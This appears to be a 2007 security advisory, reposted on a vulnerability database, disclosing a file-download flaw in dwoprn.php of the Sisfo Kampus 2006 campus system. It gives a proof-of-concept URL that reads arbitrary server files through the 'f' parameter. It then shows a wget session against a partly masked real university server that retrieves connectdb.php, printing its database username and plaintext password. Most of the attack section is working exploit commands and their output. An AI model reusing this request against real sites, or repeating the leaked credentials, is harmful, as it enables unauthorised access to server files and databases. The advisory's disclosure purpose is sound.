Sisfo Kampus 2006 (dwoprn.php f) Remote File Download Vulnerability

🗓️ 11 Sep 2007 00:00:00Reported by RootType

Sisfo Kampus 2006 Remote File Download Vulnerability on dwoprn.php


                                                original&nbsp;File&nbsp;name&nbsp;:&nbsp;PUPET-SisfoKampus2006.txt

date&nbsp;releases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;September&nbsp;10,&nbsp;2007

&nbsp;

Information&nbsp;:

=========================

Advisory&nbsp;Name:&nbsp;Sisfo&nbsp;Kampus&nbsp;2006&nbsp;Local&nbsp;File&nbsp;Downloaded&nbsp;Vulnerability

Author:&nbsp;k-one&nbsp;A.K.A&nbsp;PUPET

Website&nbsp;vendor&nbsp;:&nbsp;http://sisfokampus.net/

Problem&nbsp;:&nbsp;All&nbsp;Local&nbsp;File&nbsp;can&nbsp;downloaded


POC&nbsp;:

=========================

&nbsp;

http://[h0sT]/[dir]/dwoprn.php?f=connectdb.php

&nbsp;

&nbsp;

[pupet@vps&nbsp;~]$&nbsp;wget&nbsp;http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

--07:30:16--&nbsp;&nbsp;http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;`dwoprn.php?f=connectdb.php'

Resolving&nbsp;***.*****-subang.ac.id...&nbsp;203.130.***.**

Connecting&nbsp;to&nbsp;siak.universitas-subang.ac.id[203.130.***.**]:80...&nbsp;connected.

HTTP&nbsp;request&nbsp;sent,&nbsp;awaiting&nbsp;response...&nbsp;200&nbsp;OK

Length:&nbsp;292&nbsp;[application/dwoprn]

&nbsp;

100%[====================================================================================================================================================================&gt;]&nbsp;292&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--.--K/s

&nbsp;

07:30:22&nbsp;(2.78&nbsp;MB/s)&nbsp;-&nbsp;`dwoprn.php?f=connectdb.php'&nbsp;saved&nbsp;[292/292]

&nbsp;

[pupet@vps&nbsp;~]$&nbsp;cat&nbsp;dwoprn.php?f=connectdb.php

&lt;?php

&nbsp;&nbsp;//&nbsp;file:&nbsp;connectdb.php

&nbsp;&nbsp;//&nbsp;author:&nbsp;E.&nbsp;Setio&nbsp;Dewo,&nbsp;Maret&nbsp;2003

&nbsp;

&nbsp;&nbsp;$db_username&nbsp;=&nbsp;&quot;t26924_siak&quot;;

&nbsp;&nbsp;$db_hostname&nbsp;=&nbsp;&quot;localhost&quot;;

&nbsp;&nbsp;$db_password&nbsp;=&nbsp;&quot;siakang&quot;;

&nbsp;&nbsp;$db_name&nbsp;=&nbsp;&quot;t26924_siak&quot;;

&nbsp;

&nbsp;&nbsp;$con&nbsp;=&nbsp;_connect($db_hostname,&nbsp;$db_username,&nbsp;$db_password);

&nbsp;&nbsp;$db&nbsp;&nbsp;=&nbsp;_select_db($db_name,&nbsp;$con);

&nbsp;

?&gt;

Vendor&nbsp;Response:

==============

Not&nbsp;contacted&nbsp;yet

&nbsp;

Patch&nbsp;:

=============

No&nbsp;Patch&nbsp;Available

This&nbsp;bugs&nbsp;Discover&nbsp;by&nbsp;:&nbsp;k-one&nbsp;A.K.A&nbsp;PUPET&nbsp;(Join&nbsp;our&nbsp;community&nbsp;at&nbsp;irc.indoirc.net&nbsp;#safana)

11 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1